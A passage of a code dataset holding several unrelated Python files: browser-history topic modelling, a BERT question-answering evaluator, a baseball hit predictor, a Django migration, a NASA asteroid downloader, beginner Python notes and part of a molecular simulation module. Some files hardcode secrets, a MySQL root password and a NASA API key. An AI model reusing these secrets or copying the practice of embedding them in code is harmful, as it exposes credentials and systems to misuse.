17:25:30 2019\n\n@author: marley\n\"\"\"\n\nimport json\nimport requests\nfrom sklearn.feature_extraction.text import TfidfVectorizer, CountVectorizer\nfrom bs4 import BeautifulSoup\nfrom yellowbrick.text import TSNEVisualizer\nfrom sklearn.decomposition import TruncatedSVD\nfrom sklearn.decomposition import NMF,LatentDirichletAllocation\nfrom sklearn.manifold import TSNE\nfrom scipy.spatial.distance import cdist\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\nimport six\nfrom google.cloud import language\nfrom google.cloud.language import enums\nfrom google.cloud.language import types\nimport os\nos.environ[\"GOOGLE_APPLICATION_CREDENTIALS\"]=\"/Users/marley/Downloads/googlecloudcredential.json\"\nclient = language.LanguageServiceClient()\n\ndef isvalid(row):\n title = row['title'].lower()\n if \"google\" in title or \"gmail\" in title or \"facebook\" in title or \"sign in\" in title or \"youtube\" in title:\n return False\n return True\ndef get_category(url):\n r = requests.get(url)\n text = r.text\n if isinstance(text, six.binary_type):\n text = text.decode('utf-8')\n document = types.Document(\n content=text.encode('utf-8'),\n type=language.enums.Document.Type.HTML)\n try:\n categories = client.classify_text(document).categories\n except:\n return \"error\"\n if len(categories):\n return categories[0].name\n else:\n return \"error\"\ndef get_category_str(text):\n if isinstance(text, six.binary_type):\n text = text.decode('utf-8')\n document = types.Document(\n content=text.encode('utf-8'),\n type=language.enums.Document.Type.PLAIN_TEXT)\n try:\n categories = client.classify_text(document).categories\n except:\n return \"/error\"\n if len(categories):\n return categories[0].name\n else:\n return \"/error\" \n \ndef plot3d(x,y,z, titles):\n fig = plt.figure()\n from mpl_toolkits.mplot3d import Axes3D\n ax = fig.add_subplot(111, projection='3d')\n ax.scatter(x,y,z)\n for i, txt in enumerate(titles):\n words = txt.split(' ')\n txt = \" \".join(words[:min(len(words), 3)])\n txt = txt[:min(len(txt),20)]\n ax.text(x[i], y[i], z[i], txt)\n\ndef plot_heatmap(trunc_50, step=5):\n mat = cdist(trunc_50, trunc_50)\n step = 5\n for i in range(1):\n start = i * 50\n end = start + step*50\n mat_subset = -mat[start:end:step, start:end:step]\n #mat_subset = np.maximum(mat_subset, np.full(mat_subset.shape, ))\n #mat_subset[np.where(mat_subset >= -0.1)] = -0.4\n plt.figure()\n sns.heatmap(mat_subset, cmap='viridis', xticklabels=titles[start:end:step], yticklabels=titles[start:end:step])\n\ndef print_top_n(num_rows, titles, docs, n=5):\n lim = 10\n for t, doc in zip(titles[:num_rows], docs[:num_rows]):\n tfidf_sorting = np.argsort(doc.toarray()).flatten()[::-1]\n top_n = feature_array[tfidf_sorting][:n]\n print(t)\n print(top_n)\ndef box_visualizer(docs, labels):\n plt.figure()\n ts = TSNEVisualizer()\n ts.fit(docs, labels)\n ts.poof()\n\ndef read_file(fname):\n # read file\n with open(fname, 'r') as myfile:\n f=myfile.read()\n # parse file\n history = json.loads(f)\n data = {}\n for idx, row in enumerate(history):\n if isvalid(row):\n data[row['id']] = row\n if idx % 20 == 0:\n print(row['title'])\n return data\nfname = 'history100.json'\nfname = 'aug9_10000.json'\ndata = read_file(fname)\ncorpus = []\nids = [] \ntitles = []\n# Make your corpus of text\nfor id, info in data.items():\n url = info['url']\n try:\n r = requests.get(url)\n soup = BeautifulSoup(r.text)\n #text = soup.get_text()\n text = \"\".join(soup.find(\"body\").findAll(text=True))\n corpus.append(text)\n ids.append(id)\n titles.append(info['title'])\n if len(corpus) % 100 == 0:\n print(\"finished {}\".format(len(corpus)))\n #if len(corpus) == 300:\n # break\n except:\n pass\n\nlabels_ = []\n#for doc in corpus:\n# labels_.append(get_category_str(doc))\n#labels = [s.split('/')[max(len(s.split('/'))-2,1)] for s in labels_]\ntfidf = TfidfVectorizer(stop_words='english')\ndocs = tfidf.fit_transform(corpus)\nplt.figure('number of tokens per doc')\ng = sns.distplot(docs.getnnz(axis=1), bins=300, kde=False)\ng.set_yscale(\"log\")\n#sns.distplot(docs.getnnz(axis=0), kde_kws={'clip': (0, 100)})\nfeature_array = np.array(tfidf.get_feature_names())\n\nsvd_50 = TruncatedSVD(n_components=50)\ntrunc_50 = svd_50.fit_transform(docs)\nplot_heatmap(trunc_50)\n\nsns.heatmap(-mat[::step, ::step], cmap='viridis', xticklabels=titles[::step], yticklabels=titles[::step])\nprint_top_n(10, titles, docs)\n\n#x, y = tsne.fit_transform([[1,1,1],[1,1,1],[1,1,1],[1,1,1], [0.5, 0, 0], [0,0,0],[0,-0.1,0]]).T\n#labels = [1,1,1,1,0, 0,0]\n#l_unique = list(set(labels))\n#lab_num = [l_unique.index(l) for l in labels]\n#plt.scatter(x,y, c=lab_num, cmap='rainbow')\ntsne = TSNE(n_components=2, random_state=0, learning_rate=10)\nx,y = tsne.fit_transform(trunc_50).T\ng = sns.scatterplot(x,y)\nplt.plot(x,y,linewidth=0.2)\nbox = g.get_position()\ng.set_position([box.x0, box.y0, box.width * 0.85, box.height]) # resize position\nplt.legend(bbox_to_anchor=(1.05, 1), loc=2, borderaxespad=0.)\nfor i, txt in enumerate(titles):\n words = txt.split(' ')\n txt = \" \".join(words[:min(len(words), 3)])\n txt = txt[:min(len(txt),20)]\n print(txt)\n plt.annotate(txt, (x[i], y[i]))\n \n\ndef display_topics(model, feature_names, no_top_words):\n for topic_idx, topic in enumerate(model.components_):\n print (\"Topic %d:\" % (topic_idx))\n print (\" \".join([feature_names[i]\n for i in topic.argsort()[:-no_top_words - 1:-1]]))\n\n\nn_topics = 10\nnmf = NMF(n_components=n_topics, random_state=0, alpha=.1, l1_ratio=.5, init='nndsvd').fit(docs)\nno_top_words = 10\ndisplay_topics(nmf, feature_array, no_top_words)\n\ntf_vectorizer = CountVectorizer(max_df=0.95, min_df=2, stop_words='english')\ntf = tf_vectorizer.fit_transform(corpus)\ntf_feature_names = tf_vectorizer.get_feature_names()\n\nlda = LatentDirichletAllocation(n_components=n_topics, max_iter=5, learning_method='online', learning_offset=50.,random_state=0)\nlda = lda.fit(tf)\ndisplay_topics(lda, tf_feature_names, no_top_words)\n\nwith open('xyz_651', 'w') as json_file:\n json.dump(result, json_file)\nresult = {}\nimport datetime\nnow = datetime.datetime.strptime(\"8/10/2019\",\"%m/%d/%Y\")\nfor t, x_, y_ in zip(titles, x, y):\n z = -1\n for id, info in data.items():\n if t == info['title'][:len(t)]:\n then = datetime.datetime.strptime(info['lastVisitTimeLocal'].split(',')[0], \"%m/%d/%Y\")\n z = (now-then).days\n result[t] = {'x': str(x_), 'y': str(y_), 'z': z}\n\nurl = data[5304]['url']\nr = requests.get(url)\nsoup = BeautifulSoup(r.text)\ntext = soup.get_text()\n\nprint(get_category(url))\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"495983853","text":"import pandas as pd\nimport numpy as np\nimport sklearn\nimport torch\nimport torch.nn as nn\nimport ast\nimport tqdm\nimport argparse\n\nfrom transformers import AutoConfig, AutoTokenizer, BertForQuestionAnswering\nfrom torch.utils.data import DataLoader, Dataset\n\n\nparse = argparse.ArgumentParser()\nparse.add_argument('--text', type=str, help='Conversation text')\nparse.add_argument('--state_dict', type=str, help='State dict path')\n\nargs = parse.parse_args()\n\n\nclass SashimiDataset(Dataset):\n def __init__(self, data):\n super(SashimiDataset, self).__init__()\n self.text = data.Text\n self.label = data.Label\n \n def __len__(self):\n return self.text.shape[0]*4\n \n def __getitem__(self, idx):\n text = self.text[idx // len(QUESTIONS)]\n qs_idx = idx % len(QUESTIONS)\n label = self.label[idx // len(QUESTIONS)][qs_idx]\n question = QUESTIONS[qs_idx]\n \n inputs = tokenizer(question, text, padding='max_length', truncation=True, max_length=128, return_tensors='pt')\n label = torch.LongTensor(label)\n \n plus_idx = (inputs['input_ids'] == 102).nonzero()[0,1]\n label += plus_idx\n \n return inputs, label\n \n \ndef get_data(path, sep=',', index_col=None):\n data = pd.read_csv(path, sep=sep, index_col=index_col)\n data['Text'] = [ast.literal_eval(data.Text[i])[0] for i in range(data.shape[0])]\n data['Label'] = [ast.literal_eval(data.Label[i]) for i in range(data.shape[0])]\n return data\n\nif __name__ == '__main__':\n \n config = AutoConfig.from_pretrained(\"deepset/bert-base-cased-squad2\")\n model = BertForQuestionAnswering.from_pretrained(\"deepset/bert-base-cased-squad2\")\n tokenizer = AutoTokenizer.from_pretrained(\"deepset/bert-base-cased-squad2\", use_fast=True)\n \n QUESTIONS = [\n 'What activity?',\n 'What date?',\n 'What time?',\n 'Where to go?'\n ]\n \n TEXT = args.text\n\n \"\"\"\n data = get_data('./data/training_data.csv', sep='\\t')\n dataset = SashimiDataset(data)\n dataloader = DataLoader(dataset, batch_size=1, shuffle=True)\n \n loss_fn = nn.CrossEntropyLoss()\n optimizer = torch.optim.AdamW(model.parameters(), 2e-5)\n \n model.cuda()\n model.train()\n for epoch in range(3):\n total_loss = 0\n \n for inputs, label in tqdm.tqdm(dataloader):\n # Reform the inputs\n for k in inputs.keys():\n inputs[k] = inputs[k].squeeze(1).cuda()\n\n optimizer.zero_grad()\n outputs = model(**inputs)\n start, end = outputs[0], outputs[1]\n label = label.cuda()\n\n loss = loss_fn(start, label[:,0]) + loss_fn(end, label[:,1])\n loss.backward()\n optimizer.step()\n \n total_loss += loss.item()\n \n print(f'Train loss {total_loss}')\n \n torch.save(model.state_dict(), 'e3le2e5.pth')\n \"\"\"\n \n sd = torch.load(args.state_dict)\n model.load_state_dict(sd)\n model.cuda()\n model.eval()\n \n for qs in QUESTIONS:\n inputs = tokenizer(qs, TEXT, return_tensors='pt')\n for k in inputs.keys():\n inputs[k] = inputs[k].squeeze(1).cuda()\n with torch.no_grad():\n outputs = model(**inputs)\n start, end = torch.argmax(outputs[0]), torch.argmax(outputs[1])\n print(f\"{qs}\\t{start}\\t{end}\\t{tokenizer.decode(inputs['input_ids'][0,start:end+1].tolist())}\")\n","sub_path":"eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":3489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"200144106","text":"# 2021.07.04 modified\r\n# 학습된 모델 이용해서 예측\r\nimport pymysql\r\nimport statiz_variables\r\nimport joblib\r\nimport pandas as pd\r\nimport numpy as np\r\nimport datetime\r\n\r\n\r\n# get stadium id\r\ndef _get_stadium_id(stadium_name):\r\n if stadium_name == '잠실':\r\n return 'JS'\r\n elif stadium_name == '고척':\r\n return 'GC'\r\n elif stadium_name == '사직':\r\n return 'SJ'\r\n elif stadium_name == '대구':\r\n return 'DK'\r\n elif stadium_name == '수원':\r\n return 'SW'\r\n elif stadium_name == '광주':\r\n return 'KC'\r\n elif stadium_name == '문학':\r\n return 'MH'\r\n elif stadium_name == '대전':\r\n return 'DJ'\r\n elif stadium_name == '창원':\r\n return 'CW'\r\n elif stadium_name == '포항':\r\n return 'PH'\r\n elif stadium_name == '청주':\r\n return 'CJ'\r\n else:\r\n return 'NO'\r\n\r\n\r\ndef _get_today_match(today_date):\r\n conn = pymysql.connect(host='localhost',\r\n user='root',\r\n password='chldlstns1!',\r\n db='baseball',\r\n charset='utf8')\r\n cursor = conn.cursor(pymysql.cursors.DictCursor)\r\n sql = \"SELECT * FROM today_games WHERE date=%s;\"\r\n cursor.execute(sql, today_date)\r\n games_list = cursor.fetchall()\r\n conn.close()\r\n\r\n return games_list\r\n\r\n\r\ndef _get_players_list(away_id, home_id):\r\n conn = pymysql.connect(host='localhost',\r\n user='root',\r\n password='chldlstns1!',\r\n db='baseball',\r\n charset='utf8')\r\n cursor = conn.cursor(pymysql.cursors.DictCursor)\r\n sql = \"SELECT * FROM players WHERE is_enroll=1 AND team_name=%s;\"\r\n cursor.execute(sql, away_id)\r\n away_players = cursor.fetchall()\r\n sql = \"SELECT * FROM players WHERE is_enroll=1 AND team_name=%s;\"\r\n cursor.execute(sql, home_id)\r\n home_players = cursor.fetchall()\r\n\r\n return [away_players, home_players]\r\n\r\n\r\ndef _get_weather_info(date, stadium):\r\n conn = pymysql.connect(host='localhost',\r\n user='root',\r\n password='chldlstns1!',\r\n db='baseball',\r\n charset='utf8')\r\n cursor = conn.cursor(pymysql.cursors.DictCursor)\r\n sql = \"SELECT * FROM weather WHERE date=%s AND stadium=%s;\"\r\n cursor.execute(sql, (date, stadium))\r\n buf = cursor.fetchone()\r\n result = [buf['temperature'][:-1], buf['humidity'][:-1], buf['rain_prob'][:-1], buf['wind'][:-3]]\r\n conn.close()\r\n\r\n return list(result)\r\n\r\n\r\ndef _get_lineup_info(team_id, player_name):\r\n conn = pymysql.connect(host='localhost',\r\n user='root',\r\n password='chldlstns1!',\r\n db='baseball',\r\n charset='utf8')\r\n cursor = conn.cursor()\r\n sql = \"SELECT * FROM today_lineup WHERE team_name=%s;\"\r\n cursor.execute(sql, team_id)\r\n lineup = list(cursor.fetchone())[2:]\r\n\r\n lineup_list = []\r\n\r\n for player in lineup:\r\n sql = \"SELECT ba FROM players WHERE player_name=%s AND team_name=%s;\"\r\n cursor.execute(sql, (player, team_id))\r\n try:\r\n lineup_list.append(float(cursor.fetchone()[0]))\r\n except Exception as e:\r\n print(e, team_id, player)\r\n\r\n try:\r\n player_idx = lineup.index(player_name)\r\n del lineup_list[player_idx]\r\n lineup_list.append(player_idx)\r\n except ValueError:\r\n lineup_list[8] = 9\r\n except IndexError:\r\n print(team_id, player_name)\r\n\r\n sql = \"SELECT ba FROM players WHERE player_name=%s AND team_name=%s;\"\r\n cursor.execute(sql, (player_name, team_id))\r\n lineup_list.append(float(cursor.fetchone()[0]))\r\n conn.close()\r\n tmp = lineup_list[-1]\r\n lineup_list[-1] = lineup_list[-2]\r\n lineup_list[-2] = tmp\r\n return lineup_list\r\n\r\n\r\ndef _get_players_info(game_info):\r\n players_list = _get_players_list(game_info['away_id'], game_info['home_id'])\r\n date = str(game_info['date'])\r\n stadium = _get_stadium_id(game_info['stadium'])\r\n game_id = game_info['game_id']\r\n\r\n tmp_list = []\r\n\r\n weather_info = _get_weather_info(date, stadium)\r\n\r\n # away team\r\n for player in players_list[0]:\r\n statiz_info = statiz_variables.get_statiz_variables(player['player_name'], str(player['birthday']),\r\n game_id, stadium, date)\r\n lineup_info = _get_lineup_info(game_info['away_id'], player['player_name'])\r\n tmp_list.append([player['player_id']] + weather_info + statiz_info + lineup_info)\r\n\r\n # home team\r\n for player in players_list[1]:\r\n statiz_info = statiz_variables.get_statiz_variables(player['player_name'], player['birthday'],\r\n game_id, stadium, date)\r\n lineup_info = _get_lineup_info(game_info['home_id'], player['player_name'])\r\n tmp_list.append([player['player_id']] + weather_info + statiz_info + lineup_info)\r\n\r\n tmp_arr = [list(x) for x in zip(*tmp_list)]\r\n players_dic = dict(zip(['player_id',\r\n 'temper',\r\n 'humidity',\r\n 'rain_prob',\r\n 'wind',\r\n 'stadium_prob',\r\n 'home_away',\r\n 'oppo_team',\r\n 'last_7day',\r\n 'last_30day',\r\n 'weekly',\r\n 'night',\r\n 'first',\r\n 'second',\r\n 'third',\r\n 'fourth',\r\n 'fifth',\r\n 'sixth',\r\n 'seventh',\r\n 'eighth',\r\n 'ba',\r\n 'hit_num'\r\n ], tmp_arr))\r\n\r\n players_df = pd.DataFrame(players_dic)\r\n\r\n return players_df\r\n\r\n\r\ndef _predict(players_df):\r\n X = players_df.drop(['player_id'], axis=1)\r\n md = joblib.load('test_train.pkl')\r\n pred_prob = md.predict_proba(X)\r\n pred = md.predict(X)\r\n prob_arr = pred_prob[:, 1:]\r\n tmp_arr = np.hstack((prob_arr, pred.reshape(-1, 1))).tolist()\r\n predict_dic = dict(zip(players_df['player_id'], tmp_arr))\r\n series = pd.Series(data=pred, index=players_df['player_id'])\r\n# print(series)\r\n\r\n return predict_dic\r\n\r\n\r\ndef _save(date, dic):\r\n conn = pymysql.connect(host='localhost',\r\n user='root',\r\n password='chldlstns1!',\r\n db='baseball',\r\n charset='utf8')\r\n cursor = conn.cursor()\r\n arg = \"INSERT INTO predict_prob (date, player_id, prob, hit) values(%s, %s, %s, %s);\"\r\n for key, value in dic.items():\r\n print(key, value[0], value[1])\r\n cursor.execute(arg, (date, key, value[0], int(value[1])))\r\n conn.commit()\r\n conn.close()\r\n\r\n\r\ndef main():\r\n today_date = datetime.datetime.now().strftime('%Y-%m-%d')\r\n today_games = _get_today_match('2021-06-29')\r\n if today_games:\r\n for game in today_games:\r\n players_df = _get_players_info(game)\r\n dic = _predict(players_df)\r\n _save(today_date, dic)\r\n\r\n print(today_date, \" all done!\")\r\n else:\r\n print(today_date, ' has no game')\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"baseball_predict/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":7638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"532287709","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('TRECwebsite', '0015_userprofile_displayname'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Run',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(default=b'test', max_length=50)),\n ('description', models.TextField(max_length=500, blank=True)),\n ('resultFile', models.FileField(upload_to=b'results')),\n ('Map', models.DecimalField(max_digits=5, decimal_places=4, blank=True)),\n ('P10', models.DecimalField(max_digits=5, decimal_places=4, blank=True)),\n ('P20', models.DecimalField(max_digits=5, decimal_places=4, blank=True)),\n ('slug', models.SlugField()),\n ('task', models.ForeignKey(to='TRECwebsite.Task')),\n ('user', models.ForeignKey(to='TRECwebsite.UserProfile')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n ]\n","sub_path":"TREC/TRECwebsite/migrations/0016_run.py","file_name":"0016_run.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"159828452","text":"import requests\nimport datetime\nimport json\nimport re\n\nstart = datetime.date.today()\nend = start + datetime.timedelta(7)\n\nres = requests.get(\"https://api.nasa.gov/neo/rest/v1/feed?start_date=\"+str(start)+\"&end_date=\"+str(end)+\"&api_key=nieTWnAWXmXBzw9u9IARHHcMjOMdAg2CbGqwbFnL\")\ndata = res.json()\n\nasteroids = []\n\nfor day in data['near_earth_objects']:\n asteroidlist = { \"day\": day, \"asteroids\": [] }\n\n for j in data['near_earth_objects'][day]:\n j['name'] = re.search('(\\(.*\\))', j['name'], re.IGNORECASE).group(1)\n asteroidlist['asteroids'].append(j)\n\n asteroids.append(asteroidlist)\n\nwith open('_data/data.json', 'w') as outfile:\n json.dump(asteroids, outfile, sort_keys=True, indent=4, separators=(',', ': '))\n","sub_path":"download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"337705853","text":"# Introduction to Python\n\n# Chapter 1 Python Basics\n# automatetheboringstuff.com/chapter1/\n\n\n# Entering Expressions into the Interactive Shell\n\n\n2 + 2\n# output should be 4\n\n2\n\n# out put will be 2\n\n2 ** 3 # 8 - exponent\n22 % 8 # 6 - modulus/remainder\n22 // 8 # 2 - Integer Division/Floored quotient\n22 / 8 # 2.75 - Division\n3 * 5 # 15 - Multiplication\n5 - 2 # 3 - subtraction\n2 + 2 # 4 - Addition\n\n\n# Python follows Order of Operations (precedence)\n\n\n2 + 3 * 6\n# 20\n(2 + 3) * 6\n# 30\n48565878 * 578453\n# 28093077826734\n2 ** 8\n# 256\n23 / 7\n# 3.2857142857142856\n23 // 7\n# 3\n23 % 7\n# 2\n2 + 2\n# 4\n(5 - 1) * ((7 + 1) / (3 - 1))\n# 16.0\n\n# 5 +\n# # this will result in an error because 5 has not been added to anything\n\n# 42 + 5 + * 2\n# # This will result in an error because two operations are given in a row\n\n\n# The Integer, Floating-Point, and String Data Types\n\n# 'Hello world!\n# Error: SyntaxError: EOL while scanning string literal\n# Forgot a ' or \"\n\n\n# String Concatenation and Replication\n\n\n'Alice' + 'Bob'\n# this will result in 'AliceBob'\n\n# 'Alice' + 42\n# This will result in an error because you can not add unlike data types\n\n\n'Alice' * 5\n# result: 'AliceAliceAliceAliceAlice'\n# String Replicator\n\n# 'Alice' * 'Bob'\n# 'Alice' * 5.0\n# These expressions make no sense to python\n\n\n# Storing Values in Variables\n\nspam = 40\nspam\n\n# Output = 40\n\neggs = 2\nspam + eggs\n\n# Output = 42\n\nspam + eggs + spam\n\n# output = 82\n\nspam = spam + 2\nspam\n\n# Output = 42\n\n\nspam = 'Hello'\nspam\n# 'Hello'\n\nspam = 'Goodbye'\nspam\n# 'Goodbye'\n\n\n'''\nTable 1-3 has examples of legal variable names. You can name a variable anything as\nlong as it obeys the following three rules:\n\nIt can be only one word.\nIt can use only letters, numbers, and the underscore (_) character.\nIt can not begin with a number.\n\nTable 1-3. Valid and Invalid Variable Names\n\nValid variable names\nbalance\ncurrentBalance\ncurrent_balance\n_spam\nSPAM\naccount4\n\nInvalid variable names\n\ncurrent-balance (hyphens are not allowed)\ncurrent balance (spaces are not allowed)\n4account (ca not begin with a number)\n42 (can not begin with a number)\ntotal_$um (special characters like $ are not allowed)\nhello (special characters like single quotes are not allowed)\n\n\nVariable names are case-sensitive, meaning that spam, SPAM, Spam, and sPaM are four\ndifferent variables. It is a Python convention to start your variables with a lowercase\nletter.\n\nThis book uses camelcase for variable names instead of underscores; that is, variables\nlookLikeThis instead of looking_like_this. Some experienced programmers may point out that\nthe official Python code style, PEP 8, says that underscores should be used. I\nunapologetically prefer camelcase and point to -A Foolish Consistency Is the Hobgoblin of\nLittle Minds- in PEP 8 itself:\n\n-Consistency with the style guide is important. But most importantly: know when to be\ninconsistent - sometimes the style guide just does not apply. When in doubt, use your best\njudgment. -\n\n'''\n\n\n# Your First Program\n\n# This program says hello and asks for my name.\n\nprint('Hello world!')\nprint('What is your name?') # ask for their name\nmyName = input()\nprint('It is good to meet you, ' + myName)\nprint('The length of your name is:')\nprint(len(myName))\nprint('What is your age?') # ask for their age\nmyAge = input()\nprint('You will be ' + str(int(myAge) + 1) + ' in a year.')\n\n\"\"\"\"\"\nOutput:\nHello world!\nWhat is your name?\nAl\nIt is good to meet you, Al\nThe length of your name is:\n2\nWhat is your age?\n4\nYou will be 5 in a year.\n\"\"\"\n\n# Len() function\n\nlen('hello')\n# 5\n\nlen('My very energetic monster just scarfed nachos.')\n# 46\n\nlen('')\n# 0\n\n# The str(), int(), and float() Functions\n\nstr(29)\n# '29'\n\nprint('I am ' + str(29) + ' years old.')\n# I am 29 years old.\n\nstr(0)\n# '0'\n\nstr(-3.14)\n# '-3.14'\n\nint('42')\n# 42\n\nint('-99')\n# -99\n\nint(1.25)\n# 1\n\nint(1.99)\n# 1\n\nfloat('3.14')\n# 3.14\n\nfloat(10)\n# 10.0\n\n\nspam = input()\n# enter: 101\n\nspam\n# '101'\n\nspam = int(spam)\nspam\n# 101\n\nspam * 10 / 5\n# 202.0\n\n# int('99.99')\n# int('twelve')\n\n# Both will be an error\n\nint(7.7)\n# 7\n\nint(7.7) + 1\n# 8\n\nprint('What is your age?') # ask for their age\nmyAge = input()\nprint('You will be ' + str(int(myAge) + 1) + ' in a year.')\n\n\n42 == '42'\n# False\n\n42 == 42.0\n# True\n\n42.0 == 0042.000\n# True\n\n\n# Practice Questions\n\n\n# Q:1. Which of the following are operators, and which are values?\n\n# Operators: * - / +\n# Values: 'hello' 88.8 5\n\n\n# Q: 2. Which of the following is a variable, and which is a string?\n\n# Variable: spam\n# String: 'spam'\n\n# Q: 3. Name three data types.\n\n# Integer, String, Float\n\n# Q: 4. What is an expression made up of? What do all expressions do?\n\n# Expressions consist of values (such as 2) and operators (such as +), and\n# they can always evaluate (that is, reduce) down to a single value.\n\n\n# Q: 5. This chapter introduced assignment statements, like spam = 10.\n# # What is the difference between an expression and a statement?\n\n# You all store values in variables with an assignment statement.\n# An assignment statement consists of a variable name, an equal sign\n# (called the assignment operator), and the value to be stored.\n\n# A statement value is stored in a variable. while an expression is done to an object.\n\n\n# Q: 6. What does the variable bacon contain after the following code runs?\n\nbacon = 20\nbacon + 1\n\n# bacon = 21\n\n# Q: 7. What should the following two expressions evaluate to?\n\n'spam' + 'spamspam'\n# 'spamspamspam'\n\n'spam' * 3\n# 'spamspamspam'\n\n# Q: 8. Why is eggs a valid variable name while 100 is invalid?\n\n# 100 begins with a number, eggs does not\n\n# Q: 9. What three functions can be used to get the integer,\n# floating-point number, or string version of a value?\n\n# str() int() float()\n\n\n# Q: 10. Why does this expression cause an error? How can you fix it?\n\n# you can not add an integer to a string before converting it to a string\n\n# Extra Credit: round() function\n\n\n# round(number[, ndigits])\n\"\"\"\nround() Parameters\nThe round() method takes two parameters:\n\nnumber - number that is to be rounded\nndigits (Optional) - number upto which the given number is to be rounded\n\nThe round() method returns:\n\n(If ndigits not provided) nearest integer to the given number\nIf two multiples are really close, rounding is done toward the even choice\n(If ndigits given) floating point number rounded off to the ndigits digits\nAlways rounded to the closest multiple of 10 to the power minus ndigits\n\"\"\"\n\nround(7.7)\nround(7.2)\nround(4.334, 0)\nround(4.55, 0)\nround(4.6, 0)\nround(4.5, 0)\n\nround(4.556235, 3)\n","sub_path":"Chp1.1.py","file_name":"Chp1.1.py","file_ext":"py","file_size_in_byte":6528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"242608086","text":"\"\"\"\nmoves.py: Provides the main Move class which allows definition of moves\nwhich alter the positions of subsets of atoms in a context during a BLUES\nsimulation, in order to increase sampling.\nAlso provides functionality for CombinationMove definitions which consist of\na combination of other pre-defined moves such as via instances of Move.\n\nAuthors: Samuel C. Gill\nContributors: Nathan M. Lim, David L. Mobley\n\"\"\"\n\nimport parmed\nfrom simtk import unit\nimport mdtraj\nimport numpy as np\n\n\nclass Move(object):\n\n \"\"\"Move provides methods for calculating properties on the\n object 'move' (i.e ligand) being perturbed in the NCMC simulation.\n This is the base Move class.\n Ex.\n from blues.ncmc import Model\n ligand = Model(structure, 'LIG')\n ligand.calculateProperties()\n Attributes\n ----------\n \"\"\"\n\n def __init__(self):\n \"\"\"Initialize the Move object\n Currently empy.\n \"\"\"\n\nclass RandomLigandRotationMove(Move):\n \"\"\"Move that provides methods for calculating properties on the\n object 'model' (i.e ligand) being perturbed in the NCMC simulation.\n Current methods calculate the object's atomic masses and center of masss.\n Calculating the object's center of mass will get the positions\n and total mass.\n Ex.\n from blues.move import RandomLigandRotationMove\n ligand = RandomLigandRotationMove(structure, 'LIG')\n ligand.resname : string specifying the residue name of the ligand\n ligand.calculateProperties()\n Attributes\n ----------\n ligand.topology : openmm.topology of ligand\n ligand.atom_indices : list of atom indicies of the ligand.\n ligand.masses : list of particle masses of the ligand with units.\n ligand.totalmass : integer of the total mass of the ligand.\n #Dynamic attributes that must be updated with each iteration\n ligand.center_of_mass : np.array of calculated center of mass of the ligand\n ligand.positions : np.array of ligands positions\n \"\"\"\n\n def __init__(self, structure, resname='LIG'):\n \"\"\"Initialize the model.\n Parameters\n ----------\n resname : str\n String specifying the resiue name of the ligand.\n structure: parmed.Structure\n ParmEd Structure object of the relevant system to be moved.\n \"\"\"\n\n self.resname = resname\n self.atom_indices = self.getAtomIndices(structure, self.resname)\n self.topology = structure[self.atom_indices].topology\n self.totalmass = 0\n self.masses = []\n\n self.center_of_mass = None\n self.positions = structure[self.atom_indices].positions\n\n def getAtomIndices(self, structure, resname):\n \"\"\"\n Get atom indices of a ligand from ParmEd Structure.\n Arguments\n ---------\n resname : str\n String specifying the resiue name of the ligand.\n structure: parmed.Structure\n ParmEd Structure object of the atoms to be moved.\n Returns\n -------\n atom_indices : list of ints\n list of atoms in the coordinate file matching lig_resname\n \"\"\"\n# TODO: Add option for resnum to better select residue names\n atom_indices = []\n topology = structure.topology\n for atom in topology.atoms():\n if str(resname) in atom.residue.name:\n atom_indices.append(atom.index)\n return atom_indices\n\n def getMasses(self, topology):\n \"\"\"\n Returns a list of masses of the specified ligand atoms.\n\n Parameters\n ----------\n topology: parmed.Topology\n ParmEd topology object containing atoms of the system.\n\n Returns\n -------\n masses: 1xn numpy.array * simtk.unit.dalton\n array of masses of len(self.atom_indices), denoting\n the masses of the atoms in self.atom_indices\n totalmass: float* simtk.unit.dalton\n The sum of the mass found in masses\n\n \"\"\"\n masses = unit.Quantity(np.zeros([int(topology.getNumAtoms()),1],np.float32), unit.dalton)\n for idx,atom in enumerate(topology.atoms()):\n masses[idx] = atom.element._mass\n totalmass = masses.sum()\n return masses, totalmass\n\n def getCenterOfMass(self, positions, masses):\n \"\"\"Returns the calculated center of mass of the ligand as a np.array\n Parameters\n ----------\n positions: nx3 numpy array * simtk.unit compatible with simtk.unit.nanometers\n ParmEd positions of the atoms to be moved.\n masses : numpy.array\n np.array of particle masses\n\n Returns\n -------\n center_of_mass: numpy array * simtk.unit compatible with simtk.unit.nanometers\n 1x3 np.array of the center of mass of the given positions\n\n \"\"\"\n coordinates = np.asarray(positions._value, np.float32)\n center_of_mass = parmed.geometry.center_of_mass(coordinates, masses) * positions.unit\n return center_of_mass\n\n def calculateProperties(self):\n \"\"\"Function to quickly calculate available properties.\"\"\"\n self.masses, self.totalmass = self.getMasses(self.topology)\n self.center_of_mass = self.getCenterOfMass(self.positions, self.masses)\n\n def move(self, context):\n \"\"\"Function that performs a random rotation about the\n center of mass of the ligand.\n\n Parameters\n ----------\n context: simtk.openmm.Context object\n Context containing the positions to be moved.\n Returns\n -------\n context: simtk.openmm.Context object\n The same input context, but whose positions were changed by this function.\n\n \"\"\"\n positions = 